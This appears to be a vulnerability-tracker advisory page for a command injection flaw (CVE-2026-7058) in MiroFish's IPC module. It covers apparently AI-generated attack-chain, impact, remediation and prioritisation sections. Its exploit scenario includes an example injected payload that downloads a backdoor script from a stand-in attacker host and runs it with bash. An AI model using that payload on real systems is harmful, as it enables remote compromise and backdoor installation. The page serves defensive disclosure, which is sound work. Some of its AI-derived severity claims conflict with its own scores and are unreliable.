Skip to main content

MiroFish EUVDEUVD-2026-25728

| CVE-2026-7058 MEDIUM
Command Injection (CWE-77)
2026-04-26 VulDB
5.5
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Scan for exposed MiroFish service
  2. Delivery
    Send crafted request to simulation_ipc endpoint
  3. Exploit
    Inject shell commands via SimulationIPCClient.send_command
  4. Install
    Execute arbitrary commands with service privileges
  5. C2
    Download and install backdoor
  6. Execute
    Establish C2 channel
  7. Impact
    Exfiltrate data or pivot to internal networks

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of MiroFish versions 0.1.2 and earlier. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms network-accessible attack surface requiring no authentication, low attack complexity, and no user interaction. The only prerequisite is network reachability to the MiroFish backend service exposing the simulation_ipc.py endpoints. The vulnerability exists in core IPC functionality rather than an optional feature, meaning all standard deployments are vulnerable unless the specific simulation IPC service has been manually disabled or firewalled. Exploitation succeeds regardless of operating system, deployment configuration, or user activity. The backend must be running and accepting network connections, but this represents normal operational state rather than a limiting factor.

Impact

This vulnerability presents HIGH real-world risk despite the moderate CVSS score of 7.3. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms this is remotely exploitable with no authentication, low complexity, and no user interaction required - the most dangerous attack surface profile. The E:P (Proof-of-concept available) temporal metric is confirmed by the GitHub issue #488 containing exploit code. SSVC framework indicators point to immediate priority: exploitation is PUBLIC and PROVEN (POC exists), technical impact is TOTAL (arbitrary command execution enables full system compromise beyond the Low C/I/A ratings), and the vulnerability is AUTOMATABLE (can be scripted for mass exploitation). Critical risk amplifiers include: (1) vendor non-responsiveness means no patch timeline exists, (2) all versions through 0.1.2 remain vulnerable indefinitely, (3) unauthenticated network exposure means internet-facing instances are immediately at risk, and (4) command injection provides a direct path to Remote Code Execution, data exfiltration, and lateral movement. The CVSS CIA ratings of Low appear to underestimate impact - successful command injection typically enables complete system takeover. Organizations running MiroFish should treat this as a critical exposure requiring immediate compensating controls or service decommissioning.

Exploit ScenarioDerived

An unauthenticated attacker scans for exposed MiroFish instances and identifies the backend service port. The attacker crafts a malicious HTTP request targeting the simulation IPC endpoint, injecting shell metacharacters into command parameters (e.g., sending 'legitimate_command; wget http://attacker.com/backdoor.sh -O /tmp/b.sh; bash /tmp/b.sh' to the SimulationIPCClient.send_command function). The vulnerable backend executes the injected commands with the privileges of the MiroFish process, downloading and executing the attacker's payload. The attacker establishes persistent backdoor access, escalates privileges if the service runs as root, and pivots to internal networks. Public POC availability (GitHub issue #488) lowers the skill barrier, enabling script kiddies to exploit vulnerable instances at scale.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 1.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 26, 2026

Remote command injection in MiroFish versions up to 0.1.2 allows unauthenticated attackers to execute arbitrary system commands through the SimulationIPCClient.send_command function in the inter-process communication module. The vulnerability is actively exploitable via network access with low complexity, requiring no user interaction or authentication. A public proof-of-concept exploit has been disclosed (GitHub issue #488), and EPSS data shows moderate exploitation probability. The vendor (666ghj) has been notified via issue report but has not responded or released a patch, leaving all MiroFish installations vulnerable to remote compromise.

RemediationAI

No vendor-released patch exists at time of analysis - the project maintainer (666ghj) has not responded to the vulnerability disclosure submitted via GitHub issue #488 (https://github.com/666ghj/MiroFish/issues/488). Organizations must implement immediate compensating controls: (1) Remove all internet-facing exposure to MiroFish services by blocking external network access to affected ports/endpoints at firewall level - this prevents remote exploitation but eliminates legitimate remote access. (2) Implement strict network segmentation to isolate MiroFish instances on trusted internal networks with IP allowlisting for authorized clients only - reduces attack surface to insider threats and lateral movement scenarios. (3) Deploy web application firewall (WAF) or reverse proxy with command injection signature detection ahead of MiroFish endpoints, specifically filtering shell metacharacters (semicolons, pipes, backticks, dollar signs) in requests to simulation_ipc endpoints - may cause false positives if legitimate commands use these characters. (4) Monitor MiroFish process execution using EDR/auditd for unexpected child processes spawned from the Python backend, alerting on shell invocations (bash, sh, cmd.exe). (5) Consider migrating to alternative solutions or forking the project to apply input validation patches manually to SimulationIPCClient.send_command. Given vendor abandonment risk, long-term use of MiroFish poses unacceptable security debt.

Affected VersionsENISA

MiroFish 0.1.0
MiroFish 0.1.2
MiroFish 0.1.1

Affected Packages

euvd mirofish no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the backend/app/services/simulation_ipc.py file in MiroFish, specifically the SimulationIPCClient.send_command function used for inter-process communication (IPC). The root cause is CWE-77 (Improper Neutralization of Special Elements used in a Command), commonly known as OS command injection. The affected component fails to properly sanitize user-supplied input before passing it to system command execution functions, allowing attackers to inject shell metacharacters or command separators. MiroFish appears to be a simulation or monitoring application that uses IPC for backend communication between processes. The vulnerable function likely accepts parameters from network requests and forwards them to system commands without validation, creating a direct pathway from network input to shell execution. The CPE identifier cpe:2.3:a:666ghj:mirofish confirms the vendor and product namespace.

Know when Mirofish gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 5.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

5
CVSS changed
Apr 29, 2026 - 01:12 NVD
6.9 (MEDIUM) 5.5 (MEDIUM)
PoC Detected
Apr 29, 2026 - 01:00 vuln.today
Public exploit code
Severity Changed
Apr 26, 2026 - 22:22 NVD
HIGH MEDIUM
CVSS changed
Apr 26, 2026 - 22:22 NVD
7.3 (HIGH) 6.9 (MEDIUM)
CVE Published
Apr 26, 2026 - 19:45 nvd
MEDIUM 5.5

DescriptionCVE.org

A vulnerability has been found in 666ghj MiroFish up to 0.1.2. The impacted element is the function SimulationIPCClient.send_command of the file backend/app/services/simulation_ipc.py of the component Inter-Process Communication. Such manipulation leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

Executive ViewAI

Why It Matters

MiroFish versions up to 0.1.2 contain an unauthenticated remote command injection vulnerability in the inter-process communication module that allows attackers to execute arbitrary system commands with no authentication required. Any organization running MiroFish is at immediate risk of complete system compromise, and the vendor has not released a patch despite notification.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to MiroFish instances using firewall rules and network segmentation to trusted internal networks only; (2) Disable or isolate the SimulationIPCClient module if functionality permits; (3) Run MiroFish in a restricted sandbox environment with minimal system privileges; (4) Monitor for suspicious command execution and inter-process communication patterns; (5) Establish an expedited vendor contact plan with 666ghj to request security update timeline, or evaluate complete replacement of the product.

Threat Intelligence Overview

EPSS Score
1.0%
Top 23% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 1.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Partial

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +28
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy